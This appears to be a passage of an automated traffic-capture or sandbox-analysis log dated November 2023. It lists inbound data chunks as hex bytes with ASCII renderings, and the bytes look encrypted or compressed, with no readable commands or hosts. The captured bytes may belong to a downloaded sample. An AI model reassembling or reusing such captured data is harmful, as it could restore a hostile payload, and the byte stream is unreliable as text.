a1 7e e0 db 1e 86 df d7 e0 c6 7b 79 8e 26 fa b7 d5 97 07 72 27 b0 a3 5d 55 a5 cc ad 0e 88 fa a0 85 ec 76 fa 07 cb 98 68 67 92 11 Data Ascii: \|z{y*r'_v<`B9 J+hN%:DSh9jU=N{^A5P,`4 :)v$?Ve0gv=3ZNt8gh[%+hE+~{y&r']Uvhg
2023-11-17 05:22:24 UTC	3701	IN	Data Raw: f4 9d b4 18 f4 25 ae 1c 53 ce 82 8f 77 38 a8 6f 05 7b 79 6d 13 27 fe 75 32 bc f2 1b a7 be 5b 43 51 8e 73 6e b0 b7 0d c4 c9 b4 b2 55 45 c2 a2 cd f2 3d 81 5a 13 e4 a6 59 f3 a0 fa ab 82 a6 3d f3 a2 c2 d0 31 f2 40 86 ae b0 e9 c8 6f 59 4b e2 b0 c5 b7 aa 89 da 8e eb 9a e4 af 49 26 f3 32 e7 df 4c 9c 90 d1 e7 c3 34 6d 8a 7e fc a9 9c c7 0c 73 6c b1 a0 5a 51 ae 99 ff 59 97 ce 99 9d a0 17 9f 4b 9f c8 3c 62 89 13 e9 6c 3e 02 98 24 bf 70 b1 dc 4f 91 3b 91 97 6f 47 46 a3 c4 19 ec d9 61 87 f6 d8 58 0f cc fe b9 33 d2 39 f9 b9 bb d6 4d ce fa e8 50 29 55 01 ef d5 c5 99 5e c6 bc 19 65 d9 1c 7d 13 30 64 81 23 eb f5 9d b4 18 f4 75 a3 1f 57 c9 d4 8c 74 38 ac 34 03 71 79 66 1f 7f a4 75 35 b6 af 19 a7 bf 50 12 01 85 71 6d e1 b2 08 c3 c2 b4 b2 55 45 99 f4 c6 f6 38 d2 5b 41 e4 a4 Data Ascii: %Sw8o{ym'u2[CQsnUE=ZY=1@oYKI&2L4m~slZQYK<bl>$pO;oGFaX39MP)U^e}0d#uWt84qyfu5PqmUE8[A
2023-11-17 05:22:24 UTC	3717	IN	Data Raw: 38 ea ce 99 16 91 b4 fa 7f a8 c1 a6 57 a4 77 de ef 21 ec aa 12 de 87 9c 5c a5 a7 08 64 bd eb 21 7c 90 9e 20 cb b8 58 ca 3d dd 58 a8 b5 ce 07 55 b4 c6 6e 1f 8e 8d e4 fa cf de b0 4f 33 36 28 f8 f2 ae 3f 2a 92 78 d4 ea b7 85 26 04 50 6c 42 6d 97 e0 07 18 8f 47 e6 29 89 fb b1 64 41 15 11 0c 06 1d 1a 54 a3 29 9d e3 52 8e 1c 2b 8a dc 63 f0 34 b6 10 dd 83 d1 d4 23 da 37 b2 55 3e 6c 35 ff c5 5b 18 39 fb c9 93 3d c3 2c d7 3a b7 96 23 de 16 f6 1f 06 df 57 b2 65 d2 dc 09 5d 60 26 81 d4 f3 ca aa 18 a3 eb 3e 07 dd 9f 42 fb 74 a9 d5 22 79 ab ed 1e 86 a0 56 40 80 de 0b 9a b1 a3 3c 1b 0a 85 93 6e 67 97 af 49 3b ea 81 99 f4 22 bb a7 7c a8 a9 b0 55 a4 fd de 08 0d 2f 93 a9 15 c2 9c ef 7f 93 08 5a 6d 58 14 ba 90 45 20 d8 b8 9a e4 c1 55 58 0f b7 ff 18 55 b7 58 21 c4 e3 77 79 Data Ascii: 8Ww!\d!\| X=XUnO36(?*x&PlBmG)dAT)R+c4#7U>l5[9=,:#We]`&>Bt"yV@<ngI;"\|U/ZmXE UXUX!wy
2023-11-17 05:22:24 UTC	3733	IN	Data Raw: c2 f1 9f 64 0b cf f5 d2 f7 38 d4 0c 0f ab a7 5b fa f4 ef a9 8c a3 30 e7 f5 8b e0 06 a4 1c 81 f4 e6 ba cc 69 53 54 b5 e6 c2 ae 87 b0 93 d8 e9 8f eb fe 13 2a bb 7e e4 d8 4e ce 8b d3 b2 92 6e 74 de 62 c8 9a ca 92 0c 77 3e b1 a6 0a 5e ba 9b fa 00 8f e3 ac 84 a0 4f d7 1f 90 cc 6d 7a 95 41 ef 38 69 4b 92 20 ed 77 ab 8b 02 a7 08 c7 9a 6b 13 48 a5 c3 44 b9 95 60 d2 f9 96 75 3d 81 af be 78 84 68 f8 b9 a3 cb 4e cb ab bc 4b 79 55 03 b5 cd c6 d3 3f a2 ea 41 64 db 4f 2b 47 3d 65 cd 23 e5 a7 d1 99 79 e9 22 ad 04 51 c9 89 8c 6c 22 ad 35 06 7c 6d 37 15 24 fc 3e 31 f3 97 2b f1 ec 52 44 56 82 73 3f e1 fc 0c 96 c6 fc 9f 63 5c 98 a5 d2 a6 6e d5 5c 0f a8 f7 58 f2 a0 b3 ae 87 a3 3b eb f1 8b e0 06 a4 4d 8a af e6 b8 9e 39 54 54 e7 e0 96 ff 87 ba 98 da bd 8f e9 a9 47 26 bb 2b b0 Data Ascii: d8[0iST*~Nntbw>^OmzA8iK wkHD`u=xhNKyU?AdO+G=e#y"Ql"5\|m7$>1+RDVs?c\n\X;M9TTG&+
2023-11-17 05:22:24 UTC	3749	IN	Data Raw: 8c ef 1f 69 f3 81 ea 20 87 34 87 b2 d4 9c 30 a2 f9 bf 3f 26 47 41 c5 9d c2 d8 65 93 e1 0c 35 9b 11 26 50 4f 00 92 38 86 a6 90 d9 70 e3 01 e2 1e 31 a1 fa 8f 26 7d c2 48 42 7d 39 3c 69 07 ff 3f 01 c2 d6 45 b3 ac 3b 5c 75 87 5e 2d c8 e7 7f c4 9b a5 84 01 52 b1 96 c9 d4 79 b7 39 59 fc f6 5b f5 a2 e3 af 81 bb 3d bb a9 c5 cd 65 bb 4c 87 e1 e0 be 9a 38 4d 4b b1 b7 96 f2 cf bb 99 d8 e9 9b be e2 71 1f ed 2f e0 89 40 ce 8b d1 be 8d 66 25 df 7c e5 fe 83 94 5d 6b 38 e6 a2 5a 4a a3 ca f8 0c d3 fd f8 d0 a7 10 9e 4b d5 a9 0c 2c 96 47 b8 39 6c 1e ce 2a f3 20 fe db 46 8a 6d d8 cb 3d 0c 1f f1 90 13 f7 dc 3c dc a3 96 6b 6e 86 f6 be 37 8d 25 c9 d8 f5 99 1f c9 ae bf 4b 7e 04 1b ef c0 c0 99 12 c6 a2 4e 30 c7 4e 7c 11 35 7d 81 70 ed f3 83 83 7d bf 72 fd 4d 51 86 b1 ee 3a 2c a3 Data Ascii: i 40?&GAe5&PO8p1&}HB}9<i?E;\u^-Ry9Y[=eL8MKq/@f%\|]k8ZJK,G9l* Fm=<kn7%K~N0N\|5}p}rMQ:,
2023-11-17 05:22:24 UTC	3765	IN	Data Raw: c3 e7 cf ba 94 d8 f6 c6 e8 f9 12 32 f3 2e e1 d4 55 98 d8 83 e7 99 37 73 8c 2f a9 ff 81 de 3f 46 71 b2 a7 0f 03 f1 9f a9 5a c7 fe fc d5 a6 5b c2 4d 9e cf 21 31 c1 14 ee 25 3f 17 cb 21 bb 76 fa de 1a 97 6c 89 d2 58 21 05 f3 c5 19 eb da 6c d7 a0 88 6d 6c 8f f8 a4 64 8d 61 fd f5 bc 9f 1d 98 e2 e7 4d 7e 06 50 be 99 ca 96 06 91 a9 05 01 ea 06 79 10 30 65 d9 7b e4 f3 cd d7 7c bd 76 b6 1f 54 9d 89 c3 70 2d fe 6f 1f 2d 30 63 11 70 ae 3c 36 ba f6 1f ef a1 63 77 4f 82 76 60 b9 b2 0b c1 93 e4 84 64 07 ca e9 ce a0 68 d2 14 16 ad a6 5c ee a1 b1 f9 82 f3 69 e7 a7 c7 83 64 ee 04 b2 cc a9 bd cf 68 55 4e e3 e4 91 e7 c9 e8 97 8e f6 94 e4 fc 48 32 f0 7c e0 df 55 99 8c 84 b3 c3 67 77 8b 2c a9 ac d4 de 3f 46 71 e2 f2 0a 52 f2 c9 a0 0e c7 ff a9 df a0 5b 9c 1e 9c 90 21 67 c5 41 Data Ascii: 2.U7s/?FqZ[M!1%?!vlX!lmldaM~Py0e{\|vTp-o-0cp<6cwOv`dh\idhUNH2\|Ugw,?FqR[!gA
2023-11-17 05:22:24 UTC	3781	IN	Data Raw: 49 e1 e4 71 ea 47 26 28 21 9e c5 ba 24 6d ee 41 57 3c 26 3d 44 35 ca 58 bd 8f c7 44 e6 a5 04 18 5a b6 3c 59 c3 a3 5d c6 84 ac f1 3a 53 8b a5 8b ad 39 db 5c 60 a0 e7 50 a2 e0 d7 9b c0 97 4f bb e4 b3 8e 6e 92 1c c6 ad 94 b5 94 38 28 1c e0 b0 96 b8 aa 89 e4 eb 98 d0 b8 fe 05 7a c6 7e b9 88 0c df d8 b5 23 a1 11 25 9c 4c bc f5 d2 c8 70 24 60 b1 f0 1a 67 97 ed 99 7b 98 ab f8 92 f4 3f b9 2b a8 78 0d 1a cb 01 bb 5c 62 6a d2 13 de 86 9d a9 1a d3 5f d5 c1 3c 4e 09 df 81 47 9f c0 58 e4 91 a5 1b 7d d2 af fd 30 e7 37 a5 b1 ea b9 0b 8f bc b6 7d 4f 1c 36 ce 8a 97 cf 4b c7 d5 3b 56 ea 75 49 67 6a 37 8c 27 9d e4 83 b4 18 8e 45 c9 46 13 95 d5 bc 24 76 ee 0c d4 49 04 3b 4b 3f df 3d 2a e7 f2 59 de b3 63 77 34 b4 42 3c f3 a5 57 d5 95 8d f1 55 28 f9 97 9a b0 19 dc 74 4d ad f6 Data Ascii: IqG&(!$mAW<&=D5XDZ<Y]:S9\`POn8(z~#%Lp$`g{?+x\bj_<NGX}07}O6K;VuIgj7'EF$vI;K?=*Ycw4B<WU(tM
2023-11-17 05:22:24 UTC	3784	IN	Data Raw: bb d8 79 c9 c4 12 74 f8 8c 78 22 4f a6 36 ab ac 15 1d d9 6f 15 f7 cd 44 09 17 65 40 02 d1 a2 5a f0 2f 16 32 bb 6b 80 84 22 9e 2e af be 78 e5 3e 7c 88 39 b5 0b 24 d9 88 33 8b b9 7f 1c f6 d8 40 84 11 2c f9 e7 bb 15 26 bb d2 11 e8 01 00 4e b6 59 78 d5 fc 07 f2 e3 f1 a1 10 d9 ee a8 b3 4e c7 9a 8f e5 00 3d ed 06 d7 f9 96 59 23 73 78 70 06 48 a3 e6 46 c5 29 d9 de 0d 24 a9 fb 09 91 e5 40 ea 3a 87 8d 72 88 dd fe bb f3 15 0c e9 56 30 e2 34 78 5e cd c1 21 5e 3b 05 08 d9 60 ef f7 50 dc c5 30 57 40 cb 2d 73 fd 94 e3 2b d8 bb 59 8b be 44 91 81 cd 6e 78 63 ec 6a 03 09 9f 44 b7 d9 f4 4c 79 56 ef c6 8b 88 40 26 73 80 9b 86 00 46 6d 9b d7 85 db 47 8e 59 87 48 bf d9 38 44 eb f6 e0 7b 64 a4 40 d1 a5 60 77 40 97 5b 0c bb 0a 05 ec de 57 a7 cd af 78 dd 52 42 c6 60 29 c2 62 d9 Data Ascii: ytx"O6oDe@Z/2k".x>\|9$3@,&NYxN=Y#sxpHF)$@:rV04x^!^;`P0W@-s+YDnxcjDLyV@&sFmGYH8D{d@`w@[WxRB`)b
2023-11-17 05:22:24 UTC	3800	IN	Data Raw: 83 a9 88 f2 02 5f 50 1a 78 7f f5 6e 0f 5e 49 a6 b5 88 13 71 07 18 60 81 68 9f 04 d7 c6 2b 62 c7 c4 2b 37 85 17 5e fb df 2a 1c 10 13 15 5e 0f 89 83 a0 60 90 50 17 5c c6 54 4b 71 d7 26 a7 71 56 3a 19 50 20 6a 4e 0c 81 03 a7 7e 29 6e 9c 00 89 fd 29 74 a2 cf d6 d0 ab b6 38 6c 19 5e a1 01 63 0d 8f 69 14 c6 21 68 d1 8d d1 21 15 b5 41 fb 40 05 5f b9 50 ec 40 87 41 0d 8e 32 18 04 5e 43 41 8d d9 91 e4 85 4f 88 90 8f c9 01 93 78 58 b7 15 40 13 31 99 50 b7 97 4d 34 44 57 51 8d 8f 6e f2 04 5c a1 10 04 09 5c b1 73 6f 26 79 7e df 7f fb 44 57 26 79 36 2f 71 fb 5c 09 98 53 2e 2e 70 f9 50 b7 50 a0 23 8d fc d1 02 6f 20 c7 ee 4e a1 94 c2 5d 54 52 0e 3a 1a a0 50 b7 8f d0 36 7e 1a d0 50 b7 87 e0 06 06 18 c7 ee b0 01 91 20 af 76 e0 06 0c d8 c7 ee 80 04 90 d1 be 49 1f 57 55 c0 Data Ascii: _Pxn^Iq`h+b+7^*^`P\TKq&qV:P jN~)n)t8l^ci!h!A@_P@A2^CAOxX@1PM4DWQn\\so&y~DW&y6/q\S..pPP#o N]TR:P6~P vIWU
2023-11-17 05:22:24 UTC	3816	IN	Data Raw: ed 5b 33 92 04 2a 70 ce 85 62 ac fd 45 5f 8f 19 73 49 d1 50 09 d6 5d 99 e7 50 21 d0 04 d6 4d 9d 84 53 60 30 06 6a 36 85 a6 5f f2 f7 05 97 f9 d3 04 e6 51 f1 07 5f 63 60 8f 7d 73 1a 33 1d 68 31 06 5c 80 30 1a 9f 70 82 12 9e f9 53 07 fc f1 90 83 8d 06 89 6e d4 7d d0 1f 5f 55 8d 57 0d f1 91 21 77 22 c1 ee 42 db b1 21 58 92 b0 65 7e b0 93 3e d4 b8 1a f5 5e f0 b6 2d ae 43 51 05 b6 f9 51 4a 7b 60 82 fe d6 32 95 c6 fb 51 13 02 2a 50 1a 13 9e 53 92 d7 1b fb 9c 27 7b 63 59 8f bd 71 18 07 fd 71 7a 04 d4 83 14 f0 50 f0 17 10 5c 70 91 a7 13 b1 97 26 9f 7f 15 e8 5d 90 38 1b 3f 79 b0 0a 4a 14 d0 01 82 63 46 85 77 88 90 8f 1d 72 18 44 5d 05 b6 07 bc 63 67 47 53 50 e5 50 37 b2 51 07 07 7e 79 9b d7 70 96 45 4c 63 f3 16 3f 4e 12 3b fe 7a 93 73 76 64 1a 13 bd 75 d3 e6 5a 33 Data Ascii: [3pbE_sIP]P!MS`0j6_Q_c`}s3h1\0pSn}_UW!w"B!Xe~>^-CQQJ{`2QPS'{cYqqzP\p&]8?yJcFwrD]cgGSPP7Q~ypELc?N;zsvduZ3
2023-11-17 05:22:24 UTC	3832	IN	Data Raw: 2b 47 23 a0 15 35 58 80 40 77 60 c0 16 2d 05 21 a1 50 34 14 3e 3e 12 c6 ee d6 d2 e9 02 7f fb 79 6c 5f 18 41 00 5d 1a 83 05 ce 7f f9 86 ef 70 c6 f9 4a f6 d5 a6 5a 00 40 f9 a0 7f 15 47 2b 55 f1 2d 7f d0 9d 16 0f e0 9c 1a 0e 6a c3 06 5d 00 91 04 8f 25 6e 13 77 51 50 10 84 7f 15 d1 3e 72 ef 22 5e e1 93 83 b2 27 c1 73 35 98 07 51 2f 90 11 0d 47 02 96 73 50 b3 c5 06 2a 77 1a 09 d6 3e b1 ed 4f 61 1c 50 7f c0 93 16 0d 20 2d ee 70 00 93 a7 84 d0 93 f6 5e 67 90 56 5e 82 93 09 02 f9 df 2e 00 2e 90 a6 13 f3 55 1e 9c f3 57 2e 9e b0 96 1e 09 22 79 f9 cd 7b 61 18 97 2d ce 58 fd 71 79 6b c0 76 0e 00 5a e0 97 43 c3 76 6c bc 5f 34 b5 1a da b0 e4 09 d4 70 9e 5b d6 3e b9 59 01 43 91 c6 04 f3 55 1e 9c f3 57 06 77 fd c5 22 47 26 c3 ee 5f 65 93 06 5f f3 55 0e 02 71 97 6e 08 8f Data Ascii: +G#5X@w`-!P4>>yl_A]pJZ@G+U-j]%nwQP>r"^'s5Q/GsP*w>OaP -p^gV^..UW."y{a-XqykvZCvl_4p[>YCUWw"G&_e_Uqn
2023-11-17 05:22:24 UTC	3848	IN	Data Raw: c6 2a f2 ee 04 9d f3 69 07 2b 6b 40 b9 7d 66 a2 0a 0d 18 c9 66 29 98 16 2c 9b 23 9d 0b bc 70 b9 75 53 43 6e 56 64 b7 e5 4f ce 7c a3 24 e0 80 bb fd 6f c3 56 23 e0 73 b1 0c 37 9c 9a 26 5e 20 9d e1 4d b2 81 ed 43 98 83 eb 5c 1d 7a 14 fd 71 c1 ee 92 31 22 c5 b4 72 a2 f9 d4 40 2b 3d 35 af a4 8e 8b 92 90 a5 af 34 44 11 8e 77 41 0d 6e f8 e1 28 5b 04 df 3f 23 35 c1 cd 17 34 9a 04 2b 75 41 cc 2a f2 a8 c2 70 87 e5 29 66 4d 5e 29 3b 21 86 b5 59 75 29 57 fd 87 be f1 73 05 40 76 58 b5 18 c6 df 77 c0 ee 49 5a 10 01 ab 5d c9 85 58 98 10 15 59 8f 81 09 1f 02 b1 72 45 f3 69 26 4f 05 96 6e ff c0 93 ed 5a e4 f9 86 ed 7a 93 a5 53 49 ac 57 64 e0 e5 08 fe 94 83 87 f1 ac 33 45 d7 49 ac a6 6f 4f 9e 83 f0 51 b2 87 6d 4c fb 29 0e 98 9e 94 8f 6e b3 ee fe 15 7e 73 72 03 c0 6c 03 20 Data Ascii: i+k@}ff),#puSCnVdO\|$oV#s7&^ MC\zq1"r@+=54DwAn([?#54+uAp)fM^);!Yu)Ws@vXwIZ]XYrEi&OnZzSIWd3EIoOQmL)n~srl
2023-11-17 05:22:24 UTC	3864	IN	Data Raw: 70 7d 7d e0 90 dc 8d 88 c6 73 5a 98 a6 4d c0 06 09 da 76 b2 96 5f f2 36 8d 72 5c 90 00 62 38 18 57 5f 65 dd 56 5f 30 d4 a5 de 71 83 8f dc 71 d7 16 bf a3 92 fe fe 29 c0 ae 4c a1 c1 0f cd 72 18 94 5d c8 98 47 5e 04 95 16 54 6c 18 36 de 62 57 c7 f6 f9 e5 b6 5f 6e 78 a1 15 78 01 25 7b 46 8e 10 4f a6 8b 40 3d 77 b3 0e 4f 05 eb 52 37 51 ac c0 18 00 9b 62 ef e1 f3 59 d2 7c 72 b0 8e 70 50 ec 5d 4b 41 09 da 67 7a d6 55 b0 31 7a b4 c6 90 56 5e 9f 20 e9 e9 e5 76 b0 28 72 e5 16 8a 52 1a 13 9e 65 9b a7 ed 65 7b b2 4a b3 c2 56 0d 78 79 60 69 25 a3 56 1e 21 f9 32 ab 60 24 13 ba 40 a8 d2 7d a3 e5 01 fd 65 82 3b af ad d9 54 35 71 fb 46 75 20 56 42 7b 50 60 81 b7 74 ed 94 2b ae 90 72 62 fb 9c 4e 37 5c d7 06 53 04 34 16 15 18 23 de bf 74 79 82 4f 7f 92 16 f7 91 91 2c 2a 96 Data Ascii: p}}sZMv_6r\b8W_eV_0qq)Lr]G^Tl6bW_nxx%{FO@=wOR7QbY\|rpP]KAgzU1zV^ v(rRee{JVxy`i%V!2`$@}e;T5qFu VB{P`t+rbN7\S4#tyO,*
2023-11-17 05:22:24 UTC	3880	IN	Data Raw: 3a 5f 76 d1 86 23 d8 80 f9 70 70 81 2a 5f 76 b9 06 59 60 b5 09 cb b0 91 61 4f d1 21 16 33 33 91 83 5e 3d 8d c1 5a 60 d5 2a 19 70 91 48 a0 f9 8c 04 17 70 98 73 45 fd dd 22 1b 70 1c 52 7b 44 c0 8d 12 18 91 8b 1b 54 89 54 0f 21 79 46 22 77 6e f9 b4 68 91 13 1b 31 91 17 6b 22 1a 53 63 70 b4 1e 5f 20 c0 54 b7 13 94 f9 a0 78 12 c2 4f 70 c4 26 da b0 9e 06 db 24 92 06 5f fb e5 22 5f 44 1a 7a 7b 48 12 f8 a2 70 e4 0f dc 8f 6e 09 db 4e 90 06 4a f3 6f f8 50 f5 8f 04 4c 70 95 86 57 f5 84 06 5b 43 67 35 3d 8f 91 60 4f 71 91 86 07 f0 88 8f 7e f0 88 a7 47 05 d5 86 13 05 9c 26 dc b8 6e a5 57 f0 94 a5 53 33 91 04 5f 69 e3 0d 28 75 91 2e 29 62 95 87 45 d1 2d 84 00 04 c0 a7 5d 50 93 11 2b 38 1a 0b b7 43 91 40 5f 18 dd fe 1c 70 c0 2e b7 84 8e 06 1d 65 90 0e 08 26 11 54 b7 91 Data Ascii: :_v#pp_vY`aO!33^=Z`pHpsE"pR{DTT!yF"wnh1k"Scp_ TxOp&$_"_Dz{HpnNJoPLpW[Cg5=`Oq~G&nWS3_i(u.)bE-]P+8C@_p.e&T
2023-11-17 05:22:24 UTC	3896	IN	Data Raw: 8f 1a 90 e4 3d fe 18 91 2a 19 70 12 fe 5d 04 94 06 dc 88 9c 73 73 86 94 73 4e f0 96 86 e7 b0 91 11 2a 75 29 70 e7 70 92 8a 40 53 12 19 5f 6e 91 79 0a 71 9c 47 d6 64 50 8d 44 fa dc 8e 50 fb 52 86 80 f3 72 19 5b ac 91 8e 13 a8 95 8d 02 90 12 26 a4 8f 9e 83 c7 f1 fc 43 83 f4 12 26 df 5b 49 ee ce ac 11 a5 df 35 7d 5f dc 14 14 ca 9f 04 b0 06 32 35 61 6c 5f 32 e5 73 b7 e3 57 65 93 11 fd ec 99 11 7b ef 9f 7f 91 01 d5 3d 6e 85 9b 7c 19 9e 13 76 95 47 52 b2 98 35 84 f3 ed 06 66 2c 94 ca 2b 7a 6e 72 5f 75 55 ee 2a 4f 91 06 06 7b 91 1d 14 75 ce 47 5a 43 51 59 01 d0 ca cf 9c 1a 92 25 7f 9b d1 1b 1a 74 b1 6f 53 50 1a 4b 83 30 ec 8f 5f 29 95 8f 5e 9b 3a 53 d4 70 7d 57 09 27 12 c9 a0 f3 b1 7b 57 70 e5 39 5f 22 79 3b de f1 ae f6 06 f5 67 72 6f f1 92 16 ce ab 6e f9 9e 6c Data Ascii: =p]sssNu)pp@S_nyqGdPDPRr[&C&[I5}_25al_2sWe{=n\|vGR5f,+znr_uU*O{uGZCQY%toSPK0_)^:Sp}W'{Wp9_"y;gronl
2023-11-17 05:22:24 UTC	3912	IN	Data Raw: 87 18 bb 11 07 b7 f0 90 ef df 71 63 03 df 71 60 86 5e 9a 91 35 a0 f0 91 63 a4 70 18 5b bb f9 cc 06 bf f9 cc f2 99 35 62 07 5f f9 cc d6 50 c6 cf 07 19 f1 99 21 9c 1a 95 56 b7 6f 9d 21 55 b3 93 21 5b 70 8c 14 d4 35 65 06 a0 35 71 8b 5b f0 1c 42 5f 33 41 8f 1a 84 7a 63 dc 70 6a 48 20 4e e5 58 dc 8b 91 2c 2b 42 12 fd 19 04 c5 06 dc 8b d8 72 55 f3 6a 4a 5f 05 a6 f8 1a 83 7a 43 df 70 ef 07 69 05 bd 86 21 72 91 32 d2 36 93 73 7c 8f d4 06 8f f3 f4 de 5f f3 f4 da 5f 70 1a f6 b4 57 6f 43 ad 70 7a 24 dc 8b f9 72 48 f3 95 fd 33 f1 9c 71 2b 78 6f 43 57 81 7a 08 9f 7e 6f 43 a4 9b 91 00 a1 3d 62 f8 12 8b 11 06 22 81 91 09 db 3f 6e f9 5f 8f 11 7b ad 70 18 73 53 72 e4 46 7d 60 18 43 e3 f3 51 06 5b f9 d4 16 d4 30 6d 8f 5b 35 45 44 65 0d 6a 06 2a 64 91 8c 59 4c c2 72 55 4c Data Ascii: qcq`^5cp[5b_P!Vo!U![p5e5q[B_3AzcpjH NX,+BrUjJ_zCpi!r26s\|__pWoCpz$rH3q+xoCWz~oC=b"?n_{psSrF}`CQ[0m[5EDej*dYLrUL
2023-11-17 05:22:24 UTC	3928	IN	Data Raw: 85 9f 62 95 06 5b 0c 63 86 3e 2e 52 35 13 b0 cf 04 4d 70 d2 6c 7f 70 f8 12 54 f1 82 04 4c 64 91 15 d2 4c 22 51 57 1a 8e 5f 1f 7a ba cc 8c 90 b1 56 a0 47 79 6e 5f f0 12 c2 6f 7c df 7e 43 b0 97 46 77 65 c6 12 35 71 11 03 0e f4 94 85 b0 74 a1 83 a9 0d 76 c6 78 32 cb 57 d4 74 d4 0a 1f 66 1c 7e a0 1a b1 06 06 f3 f4 fa 5f fd ce 07 46 f0 88 c5 01 b0 87 c6 73 b8 1a c5 57 e9 66 f8 df 10 cf 6c 5e f9 91 4b a7 fd 95 8e d6 35 9d 06 74 82 cb 8d 91 a3 73 83 5f 60 e5 27 1c 23 6e 73 57 78 79 12 a0 b0 cb 83 9f 29 e4 12 51 27 10 05 11 f1 92 8f 1a 8c 9f 5f 9f 66 d1 3f 9e 7a fb 05 06 51 91 16 d4 35 69 46 64 b1 ec 06 53 fb c4 0e 74 b8 1c 3a 5f f2 a2 c6 ac db 1a 43 a3 71 17 4c d4 3c b5 02 09 1a 92 06 74 b8 cb 8d 6f f9 a5 07 5e 30 d0 4c 2a 85 cf c5 08 fb d3 7a 1e d6 3a ad f4 2f Data Ascii: b[c>.R5MplpTLdL"QW_zVGyn_o\|~CFwe5qtvx2Wtf~_FsWfl^K5ts_`'#nsWxy)Q'_f?zQ5iFdSt:_CqL<to^0L*z:/
2023-11-17 05:22:24 UTC	3944	IN	Data Raw: 36 5e 62 c4 f6 5f ca e1 06 0a 80 93 b1 ef 70 68 53 2f 71 2c f6 5f 73 21 06 d2 40 90 27 0a 00 91 b9 6f 70 06 b6 5f 1a a1 06 85 25 21 07 2d 00 91 f2 2f 70 c3 76 5e 14 c4 36 5f f1 a1 06 7e 40 90 da ef 73 33 53 6f 70 a2 b6 5f a8 a1 06 12 00 90 07 0a 40 91 e9 ef 72 8e f6 5f d1 21 07 03 c5 61 06 e1 c0 91 13 ae 7d 61 06 cf c0 90 ac dd c4 85 5e 6f 71 9f 76 5f 0e 61 06 35 24 21 06 c1 00 91 ad ee 2c 21 06 28 25 21 06 f5 00 91 e3 2f 70 1e 36 5d 64 44 76 5f 12 21 07 76 40 90 a5 ae 0b 61 06 b5 ea 21 06 fa c0 90 ae ae 7c a1 06 6e 76 cb 60 af 70 72 f6 5e 41 8d dd 6f 71 2b ab ef 70 96 76 5f 01 81 1f 6f 70 3f 36 5f c5 e0 01 bf 00 90 d3 2f 71 d0 38 5d 40 92 53 ae 7e 2f b6 5f 05 a1 07 79 40 91 30 0a 80 91 2e 6f 70 5f 36 5e c8 a1 06 f0 25 21 06 44 40 91 86 ef 71 ee 36 5f bd Data Ascii: 6^b_phS/q,_s!@'op_%!-/pv^6_~@s3Sop_@r_!a}a^oqv_a5$!,!(%!/p6]dDv_!v@a!\|nv`pr^Aoq+pv_op?6_/q8]@S~/_y@0.op_6^%!D@q6_
2023-11-17 05:22:24 UTC	3960	IN	Data Raw: 74 3b 15 e3 2f 7f 8c bc 42 ad 66 f1 4f 9f 51 61 26 78 15 c5 20 6a 43 83 7e 0e 7b e9 55 54 51 b3 60 30 b7 10 80 be 78 02 61 7f 5d f8 fe 49 a2 d4 f9 30 72 25 02 ee 0e f9 78 a7 0d a4 14 8e f3 1e 85 a0 ff 12 f5 5b 81 eb a4 73 4c eb 56 56 84 95 d7 de 8f 80 04 ba 74 95 04 ab 73 60 70 f3 06 ad 2f ce 0d 2c 48 22 5f 61 24 cf 34 c8 7a ac 74 a0 a4 33 c9 25 2d 39 11 31 21 c9 02 65 02 66 69 93 de 3d 15 e5 16 5d c4 99 36 cf 71 d2 7a d4 42 85 09 5f 5d b0 28 3c 1f ff 66 58 78 e5 26 13 c0 8d 69 7f 33 c3 bf de 70 b9 2b 9f 59 32 06 6f 71 dd b2 d3 cf 00 01 b0 09 75 7f ad 74 80 83 2d 54 b9 55 68 89 71 07 30 02 c1 29 e3 f5 65 0f de 11 25 6a a0 b8 e0 73 4a 81 95 57 d9 57 12 70 78 34 92 a6 30 9f 33 31 6a f4 20 69 fb 1f ab 25 50 54 e2 d2 13 8f 42 6b 2c 17 9d 04 7f 37 07 6f ee 74 Data Ascii: t;/BfOQa&x jC~{UTQ`0xa]I0r%x[sLVVts`p/,H"_a$4zt3%-91!efi=]6qzB_](<fXx&i3p+Y2oqut-TUhq0)e%jsJWWpx4031j i%PTBk,7ot
2023-11-17 05:22:24 UTC	3976	IN	Data Raw: 60 5a 72 90 a6 5e 26 8f 84 5e 22 91 47 5f 70 ff 06 26 70 b1 06 2a 60 91 75 5f 15 71 06 30 70 f7 47 ff 70 e5 06 37 70 f8 26 5d 50 c5 06 1c d0 93 74 bf 71 f8 e6 5d 19 21 06 3c 70 f0 66 5e 91 95 65 7f 75 e7 68 7f 74 b0 05 2b d0 96 a7 5d 91 94 67 8a 50 92 65 3f 71 e1 26 5d 11 b1 02 3e 71 7a af 55 d1 90 42 3f 76 f6 66 5f 15 9a a7 53 58 c1 06 70 d2 91 55 3d 78 ff 06 f5 14 79 03 0d d0 91 6a ff 64 f8 e6 5d ca f6 e6 5e 20 b1 02 be 76 70 10 1e 50 93 a4 2d 90 92 63 5f 1d f1 06 31 d2 98 ac 28 d2 86 65 ff 70 b1 e6 59 19 b1 05 bc 11 85 65 5e 11 91 64 ff 70 b0 07 bc 77 4e 63 52 51 9b 67 52 11 9d 67 44 02 b1 1e fe 70 4e e5 42 51 95 67 4e 11 95 27 5b 50 31 0e fe 77 fc e7 5e 16 75 04 3c 6d bf 46 8c b6 2e 13 5e 9a 4d 13 5f 62 ba 15 c7 c2 91 9f 58 9d 8f d9 fd ce c6 26 52 5b Data Ascii: `Zr^&^"G_p&p*`u_q0pGp7p&]Ptq]!<pf^euht+]gPe?q&]>qzUB?vf_SXpU=xyjd]^ vpP-c_1(epYe^dpwNcRQgRgDpNBQgN'[P1w^u<mF.^M_bX&R[
2023-11-17 05:22:24 UTC	3992	IN	Data Raw: 6d dc d6 51 27 39 90 db 85 66 91 e6 5b 1f 30 15 8d 5d d1 80 57 b7 2a 94 24 70 58 9e b0 8f 50 10 0d df 41 12 c6 ed 71 d1 35 b4 67 72 91 ff dd 69 25 5b e5 46 02 d4 d0 d5 f6 0f 65 92 7b de 44 01 6d 1d 58 f5 b6 5d 5b 59 b6 5f 50 aa 4c 4f 07 01 24 1b d3 96 1d 7d 2a b3 00 e8 b2 e2 47 7a b7 d4 ea 00 62 9a 36 0c 30 b2 e4 14 40 97 f2 9c 47 f9 c6 a0 a1 14 c6 2b 01 42 36 bc 6c 82 f7 27 60 b9 90 57 72 81 8b 12 9c c6 e1 09 fb 92 f4 10 a8 03 01 16 a5 97 da 37 fb dc 1a 1f 72 89 46 5d b1 aa 16 4a c0 91 e6 ef 70 4d d4 4a 8f c4 de 5f f3 55 1a d6 35 79 ed 59 30 